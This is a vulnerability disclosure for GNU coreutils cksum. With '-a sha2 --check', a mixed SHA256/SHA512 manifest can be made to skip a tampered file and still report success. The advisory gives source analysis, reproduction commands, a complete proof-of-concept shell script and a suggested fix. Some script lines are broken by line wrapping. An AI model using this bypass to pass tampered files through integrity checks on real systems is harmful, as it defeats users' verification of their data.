## Summary

When an operator verifies a trusted checksum manifest containing standard
SHA2 tagged lines with different digest lengths using
`cksum -a sha2 --check`, the first tagged line overwrites a global
algorithm selector. Subsequent valid SHA2 lines with a different digest
length are then treated as improperly formatted and skipped. An attacker
who can modify unchecked data files, but cannot modify the trusted
manifest, can therefore make the command report success.

## Technical Details

The missing check is that the per-line tag detection and digest-length
auto-inference are not restored after the first tagged line. In
`src/cksum.c`, `split_3` (lines 928-949) rewrites the global
`cksum_algorithm` from the generic `sha2` to a concrete variant such as
`sha256` when the first tagged line's `algo_tag` matches (lines 944-948),
and this value is never reset, so the condition `cksum_algorithm == sha2`
is false for all later lines. The length auto-inference in `split_3` (lines
1019-1087) is gated on `cksum_algorithm` being one of `blake2b`, `sha2`, or
`sha3`; because the concrete variant no longer qualifies,
`digest_hex_bytes` stays at the previous line's value and the control is
ineffective. `digest_check` (lines 1430-1433) only increments
`n_misformatted_lines` for lines where `split_3` returns false and produces
no mismatch, and the return at `digest_check` (lines 1554-1558) is based on
`properly_formatted_lines` that matched with no mismatch or open error, so
without `--strict` the misformatted lines do not affect the result.

The demonstrated case mixes only standard tagged SHA256 and SHA512 lines.
Tagged/untagged mixtures were not tested and are not claimed here.

## Affected Versions

The behavior was reproduced on the audited commit
`6f36b64689796bf89b57eb86265e41dc212968c8` and on upstream `master`
at `7d74e197bb90aeb4893d1e5f4ee5b998d27a13eb` during testing on
2026-10-26. GNU coreutils 9.4 predates the generic `sha2` selector and
cannot exercise this path. Older and intermediate versions were not
exhaustively tested.

## Impact

Checks for the skipped files are omitted. If at least one other manifest
line is correctly parsed and matches, and `--strict` is not used, the
command can report success with exit code 0 even though a modified file
was never compared. With `--status`, stdout and stderr can both be empty.
The impact is an integrity-verification failure; no privilege escalation,
memory corruption, or code execution is claimed.

## Proof of Concept

Audited commit `6f36b64689796bf89b57eb86265e41dc212968c8`.

Build the fixture and trusted-looking manifest:

```sh
printf 'GOODDATA\n' > good.txt
printf 'ORIGDATA\n' > bad.txt
src/cksum -a sha2 -l 256 --tag good.txt > manifest.txt
src/cksum -a sha2 -l 512 --tag bad.txt >> manifest.txt
```

`manifest.txt`:

```
SHA256 (good.txt) =
71bb9acab7a689b8be603d5d607b2ac87140e26de8bd7b5d79fee2f588efba8b
SHA512 (bad.txt) =
a2770e6b362959fb4fb86679ec9613930d85c1562564066e97d985901cbe67cf83fd982fe299ce9e8c30de17b22b9e5db9ac20a9c1800143942a2ffc009e21bb
```

Control A confirms both lines are individually well formed before
tampering; each run alone prints `OK` and exits 0:

```sh
head -n1 manifest.txt > line256.txt
tail -n1 manifest.txt > line512.txt
src/cksum -a sha2 --check line256.txt   # OK, exit 0
src/cksum -a sha2 --check line512.txt   # OK, exit 0
```

Tamper the file whose line is SHA512:

```sh
printf 'TAMPERED\n' > bad.txt
```

Bug path:

```sh
src/cksum -a sha2 --check manifest.txt
```

Observed stdout `good.txt: OK`, stderr `cksum: WARNING: 1 line is
improperly formatted`, and exit 0; `bad.txt` never appears, so the tampered
file was never compared.

Fully silent variant:

```sh
src/cksum -a sha2 --check --status manifest.txt
```

Observed empty stdout and empty stderr, exit 0.

Control B, with per-line tag detection, catches the tamper:

```sh
src/cksum --check manifest.txt
```

Observed stdout `good.txt: OK` and `bad.txt: FAILED`, stderr `cksum:
WARNING: 1 computed checksum did NOT match`, exit 1.

Control C:

```sh
src/cksum -a sha2 --check --strict manifest.txt
```

Observed exit 1. Reversing the line order (SHA512 line first) again prints
`WARNING: 1 line is improperly formatted`, showing the first tagged line
overwrites the global selector rather than this being an ordering
coincidence.

`poc.sh`:

```bash
#!/usr/bin/env bash
# End-to-end PoC for:
#   [cksum -a sha2 --check] first tagged line overwrites the generic sha2
#   selector, so later tagged lines of a different SHA2 digest length are
#   classified as "improperly formatted" and silently skipped (exit 0).
set -u
export ASAN_OPTIONS=detect_leaks=0

SELF_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
CK="${CKSUM_BIN:-src/cksum}"
WORK="$SELF_DIR/work"

log() { printf '%s\n' "$*" ; }

rm -rf "$WORK"
mkdir -p "$WORK"
cd "$WORK" || { log "cannot cd $WORK"; exit 2; }

[ -x "$CK" ] || { log "cksum binary not found at $CK"; exit 2; }

log "=== cksum version ==="
"$CK" --version 2>&1 | head -1

# --- build the trusted-looking manifest -----------------------------------
printf 'GOODDATA\n' > good.txt
printf 'ORIGDATA\n' > bad.txt

# First tagged line: SHA256 for an intact file (sha2 -> sha256 selector
flip).
"$CK" -a sha2 -l 256 --tag good.txt > manifest.txt
# Second tagged line: SHA512 for the file the attacker tampers with.
"$CK" -a sha2 -l 512 --tag bad.txt >> manifest.txt

log ""
log "=== manifest.txt (as produced, pre-tamper) ==="
cat manifest.txt

# Prove both lines are individually well formed.
head -n1 manifest.txt > line256.txt
tail -n1 manifest.txt > line512.txt

log ""
log "=== control A: each line verified alone (pre-tamper) ==="
"$CK" -a sha2 --check line256.txt; a1=$?
log "sha256-alone exit=$a1"
"$CK" -a sha2 --check line512.txt; a2=$?
log "sha512-alone exit=$a2"

# --- attacker tampers the file whose line is SHA512 -----------------------
printf 'TAMPERED\n' > bad.txt
log ""
log "=== attacker tampers bad.txt (SHA512 line now wrong) ==="

# --- bug path -------------------------------------------------------------
log ""
log "=== BUG: cksum -a sha2 --check manifest.txt ==="
"$CK" -a sha2 --check manifest.txt > bug.out 2> bug.err; bug_rc=$?
log "--- stdout ---"; cat bug.out
log "--- stderr ---"; cat bug.err
log "combined exit=$bug_rc"

log ""
log "=== BUG (silent): cksum -a sha2 --check --status manifest.txt ==="
"$CK" -a sha2 --check --status manifest.txt > silent.out 2> silent.err;
silent_rc=$?
log "--- stdout ---"; cat silent.out
log "--- stderr ---"; cat silent.err
log "status exit=$silent_rc"

# --- controls -------------------------------------------------------------
log ""
log "=== control B: cksum --check manifest.txt (auto-detect, no -a) ==="
"$CK" --check manifest.txt > ctl.out 2> ctl.err; ctl_rc=$?
log "--- stdout ---"; cat ctl.out
log "--- stderr ---"; cat ctl.err
log "no-a exit=$ctl_rc"

log ""
log "=== control C: cksum -a sha2 --check --strict manifest.txt ==="
"$CK" -a sha2 --check --strict manifest.txt > strict.out 2> strict.err;
strict_rc=$?
log "--- stdout ---"; cat strict.out
log "--- stderr ---"; cat strict.err
log "strict exit=$strict_rc"

# --- verdict --------------------------------------------------------------
reproduced=0
[ "$bug_rc" -eq 0 ] || reproduced=1          # bug path must report success
[ "$silent_rc" -eq 0 ] || reproduced=1        # --status must be silent
success
[ "$ctl_rc" -ne 0 ] || reproduced=1           # auto-detect must catch
tamper
[ "$strict_rc" -ne 0 ] || reproduced=1        # strict must catch misformat
[ "$a1" -eq 0 ] || reproduced=1
[ "$a2" -eq 0 ] || reproduced=1
grep -q 'bad.txt' bug.out && reproduced=1     # tampered file must NOT be
verified

log ""
if [ "$reproduced" -eq 0 ]; then
  log "SUCCESS: tampered bad.txt (SHA512 line) silently skipped, exit 0
while"
  log "auto-detect catches it; integrity gap reproduced."
  log "REPRO_RESULT: reproduced"
  exit 0
else
  log "FAILURE: expected silent success was not observed."
  log "REPRO_RESULT: not_reproduced"
  exit 1
fi
```

## Suggested Fix

Prefer per-line local state for the detected tagged algorithm and digest
length instead of mutating the global `cksum_algorithm` while parsing one
manifest line. If the implementation instead resets global state, restore
the command-line selector and the digest length/byte counts before parsing
each line. Add regression tests with SHA256 followed by SHA512 and the
reverse order, including tampering, `--status`, and `--strict` cases; a
tampered skipped file must make the command fail.

## Credit

SecBuddyF (with Hy4-preview) of Tencent KeenSecurityLab

Reply via email to